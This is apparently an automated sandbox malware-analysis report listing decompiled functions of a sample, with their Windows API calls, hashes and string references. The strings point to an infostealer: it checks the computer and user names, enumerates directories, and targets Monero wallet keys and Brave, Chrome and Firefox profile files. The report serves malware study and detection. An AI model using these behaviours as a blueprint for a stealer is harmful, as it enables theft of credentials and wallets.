Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 0fc1918864772c18df562c6f4ab8ab971a3bce09e182999ae730d2bd5449874d
Instruction ID: cbc77bbf5ac5309b47c7f682b27a3aaf0bf1507d5c771812f5130460fbed1800
Opcode Fuzzy Hash: 0fc1918864772c18df562c6f4ab8ab971a3bce09e182999ae730d2bd5449874d
Instruction Fuzzy Hash: 7101D6B1A04604EBC714DF84DD45BAEBBBCF744B21F100219F905E3290C37459008BA2

Function 00131110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0013112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00131132
ExitProcess.KERNEL32 ref: 00131143

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 8a45ed0c80e003ba7317bee2efd4d87a89823cc9eb57af2b7c65453f405ac3cd
Instruction ID: 32a808ae8efa8f9f11e501752144f79c01134975a6272bfe6173eb4384e69e72
Opcode Fuzzy Hash: 8a45ed0c80e003ba7317bee2efd4d87a89823cc9eb57af2b7c65453f405ac3cd
Instruction Fuzzy Hash: 88E08670985308FBE7206BA09C0AB0C7A7CAB44B02F100044F70C761C0C7B42640969A

Function 001310A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001310B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001310F7

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 95b024779bbab6fcaf63ca4a2c417c0953d91c2c0809afd45cab2d271871329f
Instruction ID: 89a6b84e26f797f7e556305f03ee882f770d9957df6b0c501dd78bffb641cf53
Opcode Fuzzy Hash: 95b024779bbab6fcaf63ca4a2c417c0953d91c2c0809afd45cab2d271871329f
Instruction Fuzzy Hash: 37F027B1641308BBEB189BA4AC49FBFB7ECE705B15F300448F504E7280D6719F40CAA1

Function 00131190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00147910
Part of subcall function 001478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00147917
Part of subcall function 001478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0014792F

Part of subcall function 00147850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001311B7), ref: 00147880
Part of subcall function 00147850: RtlAllocateHeap.NTDLL(00000000), ref: 00147887
Part of subcall function 00147850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0014789F

ExitProcess.KERNEL32 ref: 001311C6

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 46b1ce589fe0439a4a841ca19388f0886439b2a8ceafb895a53cf848bd9f1569
Instruction ID: 22cf634fa7a467b1b34caa07b05b79ff47c28c665c987011001e4d14d8a8bec1
Opcode Fuzzy Hash: 46b1ce589fe0439a4a841ca19388f0886439b2a8ceafb895a53cf848bd9f1569
Instruction Fuzzy Hash: 5EE017B591430263CE2077B1AC0AB2E329C5B6474AF140828FA09D3262FBA5E840866A

Non-executed Functions

Function 001438B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001438CC
FindFirstFileA.KERNEL32(?,?), ref: 001438E3
lstrcat.KERNEL32(?,?), ref: 00143935
StrCmpCA.SHLWAPI(?,00150F70), ref: 00143947
StrCmpCA.SHLWAPI(?,00150F74), ref: 0014395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00143C67
FindClose.KERNEL32(000000FF), ref: 00143C7C

Strings

%s%s, xrefs: 00143AAD
%s\%s\%s, xrefs: 00143A4A
%s\%s, xrefs: 00143A6F
%s\*, xrefs: 001438C0
%s\%s, xrefs: 0014397A

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 8ccd10a2970005aae0b0ec60225f1a77fce198ee381051280224f3cb2b5da99c
Instruction ID: 18c80b275484a03072bae67855c2fdd7151de0e858b15e27554524256e3598d5
Opcode Fuzzy Hash: 8ccd10a2970005aae0b0ec60225f1a77fce198ee381051280224f3cb2b5da99c
Instruction Fuzzy Hash: B3A160B2A00218ABDB35EFA4DC85FEE737CBF98301F044589A51D96151EB719B84CF62

Function 0013BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

FindFirstFileA.KERNEL32(00000000,?,00150B32,00150B2B,00000000,?,?,?,001513F4,00150B2A), ref: 0013BEF5
StrCmpCA.SHLWAPI(?,001513F8), ref: 0013BF4D
StrCmpCA.SHLWAPI(?,001513FC), ref: 0013BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0013C7BF
FindClose.KERNEL32(000000FF), ref: 0013C7D1

Strings

Preferences, xrefs: 0013C11E
Brave, xrefs: 0013C102
\Brave\Preferences, xrefs: 0013C1DB
Google Chrome, xrefs: 0013C634

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 38c4657cafe4a2a7b84ea51cfebe9fb1b9714bfe907c9d8db9f8a2179001406c
Instruction ID: 29b8ea2177c4ab95354273dcb76f96931444ba247c35933104e40252da61a146
Opcode Fuzzy Hash: 38c4657cafe4a2a7b84ea51cfebe9fb1b9714bfe907c9d8db9f8a2179001406c
Instruction Fuzzy Hash: 5F428672940104ABDB14FBB0DC96EED737DAFA4301F814558F90AA71A1EF349B49CB92

Function 00144910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0014492C
FindFirstFileA.KERNEL32(?,?), ref: 00144943
StrCmpCA.SHLWAPI(?,00150FDC), ref: 00144971
StrCmpCA.SHLWAPI(?,00150FE0), ref: 00144987
FindNextFileA.KERNEL32(000000FF,?), ref: 00144B7D
FindClose.KERNEL32(000000FF), ref: 00144B92

Strings

%s\%s, xrefs: 001449A4
%s\*, xrefs: 00144920
%s\%s, xrefs: 001449FB

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: bef57b7b4a44a3b33549202df5d571243969ec2686052bf0439b8dbd7ea40d45
Instruction ID: 27c3ebbb024cdf289cf3ad74d0c4603103294ee2fc9b123afe3973c1a511b7d7
Opcode Fuzzy Hash: bef57b7b4a44a3b33549202df5d571243969ec2686052bf0439b8dbd7ea40d45
Instruction Fuzzy Hash: 5B6153B2900618ABCB35EBE0DC45FEE737CBB98701F044588B51D96151EB719B89CF92

Function 00144570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00144580
RtlAllocateHeap.NTDLL(00000000), ref: 00144587
wsprintfA.USER32 ref: 001445A6
FindFirstFileA.KERNEL32(?,?), ref: 001445BD
StrCmpCA.SHLWAPI(?,00150FC4), ref: 001445EB
StrCmpCA.SHLWAPI(?,00150FC8), ref: 00144601
FindNextFileA.KERNEL32(000000FF,?), ref: 0014468B
FindClose.KERNEL32(000000FF), ref: 001446A0
lstrcat.KERNEL32(?,0102E560), ref: 001446C5
lstrcat.KERNEL32(?,0102D1B8), ref: 001446D8
lstrlen.KERNEL32(?), ref: 001446E5
lstrlen.KERNEL32(?), ref: 001446F6

Strings

%s\%s, xrefs: 0014461B
%s\*, xrefs: 0014459A

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 74966b3c8ca95725963f289b51ffef466857ae119f1ed6c942f75a73a856b716
Instruction ID: cba2b19bb61d642d3136e187840226a13a52831bc8ed6a44d96e2c017cfb5493
Opcode Fuzzy Hash: 74966b3c8ca95725963f289b51ffef466857ae119f1ed6c942f75a73a856b716
Instruction Fuzzy Hash: E45166B2540218ABC735EBB0DC89FED777CAB98301F404588F61D96190EB749BC58F92

Function 00143EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00143EC3
FindFirstFileA.KERNEL32(?,?), ref: 00143EDA
StrCmpCA.SHLWAPI(?,00150FAC), ref: 00143F08
StrCmpCA.SHLWAPI(?,00150FB0), ref: 00143F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0014406C
FindClose.KERNEL32(000000FF), ref: 00144081

Strings

%s\%s, xrefs: 00143EB7

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 7327aca05964fb6e3f6cfd16cfe3177e14b9da3d3f0a968d66eba1ea0fa5e837
Instruction ID: 2a33fcc22ca3916ce8be5b4c1eab03a7d09227daab197fb58f2c0ea941dffaef
Opcode Fuzzy Hash: 7327aca05964fb6e3f6cfd16cfe3177e14b9da3d3f0a968d66eba1ea0fa5e837
Instruction Fuzzy Hash: 525164B2900618BBCB35FBB0DC85EEE737CBB98301F404588B65D96050EB759B898F91

Function 0013ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0013ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0013ED55
StrCmpCA.SHLWAPI(?,00151538), ref: 0013EDAB
StrCmpCA.SHLWAPI(?,0015153C), ref: 0013EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0013F2AE
FindClose.KERNEL32(000000FF), ref: 0013F2C3

Strings

%s\*.*, xrefs: 0013ED32

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: e4e2ca815edefa7923a0e217fef071ee95eb3a9144ca06d1344a1ac523eab3fc
Instruction ID: 5d16dac48b35383d744e35d63bbb3a55ffe46d2b2223c63d23d081a40ddb83f6
Opcode Fuzzy Hash: e4e2ca815edefa7923a0e217fef071ee95eb3a9144ca06d1344a1ac523eab3fc
Instruction Fuzzy Hash: B9E10672951119AAFB55FB60DC52EEE733CEF64305F814199B40A620A2EF306F8ACF51

Function 0013F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001515B8,00150D96), ref: 0013F71E
StrCmpCA.SHLWAPI(?,001515BC), ref: 0013F76F
StrCmpCA.SHLWAPI(?,001515C0), ref: 0013F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0013FAB1
FindClose.KERNEL32(000000FF), ref: 0013FAC3

Strings

prefs.js, xrefs: 0013F812

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
